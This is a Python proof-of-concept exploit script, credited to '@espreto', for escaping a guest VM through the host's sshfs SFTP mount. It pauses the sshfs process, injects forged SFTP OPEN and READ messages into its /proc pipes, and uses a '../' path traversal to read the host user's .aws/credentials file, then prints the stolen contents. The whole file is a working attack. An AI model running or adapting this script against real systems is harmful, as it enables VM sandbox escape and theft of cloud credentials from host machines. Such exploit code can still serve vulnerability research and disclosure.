#!/usr/bin/env python3
"""
SFTP Server VM Escape via Pipe Injection and Path Traversal
Author: @espreto
"""
import os, struct, signal, time, sys, subprocess

def pack_str(s):
    if isinstance(s, str):
        s = s.encode()
    return struct.pack('>I', len(s)) + s

def make_sftp_msg(msg_type, payload):
    body = bytes([msg_type]) + payload
    return struct.pack('>I', len(body)) + body

def read_exactly(fd, n, timeout=3.0):
    buf = b''
    deadline = time.time() + timeout
    while len(buf) < n:
        remaining = deadline - time.time()
        if remaining <= 0:
            raise TimeoutError(f"read_exactly: got {len(buf)}/{n} bytes")
        try:
            chunk = os.read(fd, n - len(buf))
            if not chunk:
                raise EOFError("pipe closed")
            buf += chunk
        except BlockingIOError:
            time.sleep(0.05)
    return buf

def read_sftp_msg(fd, timeout=5.0):
    hdr = read_exactly(fd, 4, timeout)
    length = struct.unpack('>I', hdr)[0]
    body = read_exactly(fd, length, timeout)
    return body[0], body[1:]  # (type_byte, payload)

SSH_FXP_OPEN   = 3
SSH_FXP_READ   = 5
SSH_FXP_CLOSE  = 4
SSH_FXP_STATUS = 101
SSH_FXP_HANDLE = 102
SSH_FXP_DATA   = 103

STATUS_CODES = {0: 'OK', 1: 'EOF', 2: 'NO_SUCH_FILE', 3: 'PERMISSION_DENIED',
                4: 'FAILURE', 5: 'BAD_MESSAGE', 6: 'NO_CONNECTION',
                7: 'CONNECTION_LOST', 8: 'OP_UNSUPPORTED'}

print("[*] SFTP Pipe Injection (From Inside Guest VM)")

try:
    out = subprocess.check_output(['pgrep', '-f', 'sshfs.*slave']).decode().split()
    sshfs_pid = int(out[-1])
    print(f"[*] sshfs PID(s): {out}")
    print(f"[*] Using PID: {sshfs_pid}")
except subprocess.CalledProcessError:
    print("ERROR: sshfs process not found")
    sys.exit(1)

fd0_link = os.readlink(f'/proc/{sshfs_pid}/fd/0')
fd1_link = os.readlink(f'/proc/{sshfs_pid}/fd/1')
print(f"[*] fd/0 (stdin/responses): {fd0_link}")
print(f"[*] fd/1 (stdout/requests): {fd1_link}")

if 'pipe' not in fd0_link or 'pipe' not in fd1_link:
    print("ERROR: FDs are not pipes — unexpected topology")
    sys.exit(1)

print(f"[*] Sending SIGSTOP to PID {sshfs_pid}...")
os.kill(sshfs_pid, signal.SIGSTOP)
time.sleep(0.3)

try:
    write_fd = os.open(f'/proc/{sshfs_pid}/fd/1', os.O_WRONLY)
    read_fd  = os.open(f'/proc/{sshfs_pid}/fd/0', os.O_RDONLY | os.O_NONBLOCK)
    print(f"[+] Opened pipe write_fd={write_fd}, read_fd={read_fd}")

    target_path = '/Users/<user>/multipass_restrict/../.aws/credentials'
    req_id = 0xBEEF

    open_payload = (
        struct.pack('>I', req_id) +
        pack_str(target_path) +
        struct.pack('>I', 1) +   # pflags: SSH_FXF_READ = 0x1
        struct.pack('>I', 0)     # attrs: no attributes
    )
    msg = make_sftp_msg(SSH_FXP_OPEN, open_payload)

    print(f"[*] Injecting SFTP_OPEN (req_id=0x{req_id:04X})")

    os.write(write_fd, msg)
    time.sleep(0.8)

    msg_type, payload = read_sftp_msg(read_fd, timeout=4.0)
    print(f"[*] Response: type=0x{msg_type:02X} ({msg_type})")

    if msg_type == SSH_FXP_HANDLE:
        resp_id = struct.unpack('>I', payload[:4])[0]
        handle_len = struct.unpack('>I', payload[4:8])[0]
        handle = payload[8:8 + handle_len]
        print(f"[+] SSH_FXP_HANDLE received! handle={handle.hex()}")

        read_req_id = req_id + 1
        read_payload = (
            struct.pack('>I', read_req_id) +
            pack_str(handle) +
            struct.pack('>Q', 0) +
            struct.pack('>I', 65536)
        )
        os.write(write_fd, make_sftp_msg(SSH_FXP_READ, read_payload))
        time.sleep(0.8)

        msg_type2, payload2 = read_sftp_msg(read_fd, timeout=4.0)
        if msg_type2 == SSH_FXP_DATA:
            data_len = struct.unpack('>I', payload2[4:8])[0]
            data = payload2[8:8 + data_len]
            print("[!] FILE CONTENTS READ FROM INSIDE GUEST VM:\n")
            print(data.decode(errors='replace'))
            print(f"[+] Successfully read {len(data)} bytes of host file")
            print(f"[+] File: {target_path}")
        elif msg_type2 == SSH_FXP_STATUS:
            code = struct.unpack('>I', payload2[4:8])[0]
            print(f"[-] SSH_FXP_STATUS on READ: code={code} ({STATUS_CODES.get(code,'?')})")

        close_payload = struct.pack('>I', req_id + 2) + pack_str(handle)
        os.write(write_fd, make_sftp_msg(SSH_FXP_CLOSE, close_payload))

    elif msg_type == SSH_FXP_STATUS:
        code = struct.unpack('>I', payload[4:8])[0]
        print(f"[-] SSH_FXP_STATUS: code={code} ({STATUS_CODES.get(code, f'unknown({code})')})")

finally:
    os.kill(sshfs_pid, signal.SIGCONT)
    print(f"[*] SIGCONT sent — sshfs resumed (PID {sshfs_pid})")
    print("[*] Mount should be functional again.")